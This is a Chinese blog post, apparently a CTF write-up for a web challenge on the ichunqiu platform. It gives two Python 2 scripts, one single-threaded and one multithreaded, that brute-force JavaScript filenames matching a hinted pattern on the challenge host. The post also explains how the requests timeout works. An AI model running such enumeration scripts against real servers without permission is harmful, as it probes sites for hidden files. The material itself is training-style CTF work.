python爆破

最新推荐文章于 2024-07-30 11:53:50 发布

Hydra.

最新推荐文章于 2024-07-30 11:53:50 发布

阅读量1.6k

点赞数 1

本文链接：https://blog.csdn.net/qq_40657585/article/details/83152767

版权

ichunqiu平台上有一道web题象棋

查看源码发现其中一个正则js，[abcmlyx]{2}ctf[0-9]{3}.js
爆破一波

#!/usr/bin/python
# coding=utf-8
import requests
url1 = "http://a44460084873484cab7374e36274d8aa4111712deb514b8a.game.ichunqiu.com/js/"
s1 = "abcmlyx"
s2 = "0123456789"
flag = ""
for i in s1:
    for j in s1:
        for a in s2:
            for b in s2:
                for c in s2:
                    flag = i+j+"ctf"+a+b+c+".js"
                    url= url1+flag
                    r=requests.get(url,timeout=1)   #设置秒数超时，仅对于连接有效
                    if(r.status_code==requests.codes.ok):
                        print flag
                    else:
                        pass

老是中断，而且贼慢。。。。

总结:timeout 并不是整个下载响应的时间限制，而是如果服务器在 timeout 秒内没有应答,将会引发一个异常。

多线程爆破

#!/usr/bin/python
# coding=utf-8
import requests
# from multiprocessing import Pool 多进程
from multiprocessing.dummy import Pool as ThreadPool #多线程
url1 = "http://9555d85624b644ca921504a0f5bda354908d32f5690a4746.game.ichunqiu.com/js/"
s1 = "abcmlyx"
s2 = "0123456789"
flag = ""
pool = ThreadPool()  #没有参数时默认是cpu的核心数
urllist = []
def url_list():  #生成网址列表
    for i in s1:
        for j in s1:
            for a in s2:
                for b in s2:
                    for c in s2:
                        urllist.append(url1+i + j + 'ctf' + a + b + c + '.js')
    return  urllist
def url_open(url):
    try:
        r = requests.get(url)    
        if(r.status_code == requests.codes.ok):  #网址的状态码是否正确
            print url
    except:
        pass
def main():
    urllist =url_list()  #调用urllist函数
    pool.map(url_open,urllist)#创建多个进程，并行执行
    #urllist:要处理的数据列表；urlopen：处理urllist列表中数据的函数
    pool.close()#关闭进程池，不在接受新的进程
    pool.join()主程序阻塞等待子程序的退出
if __name__ == '__main__':
    main()

from multiprocessing import Pool 多进程
from multiprocessing.dummy import Pool as ThreadPool 多线程

对多进程多线程有疑惑的参考大佬博客https://blog.csdn.net/xiemanR/article/details/71746561?utm_source=blogxgwz0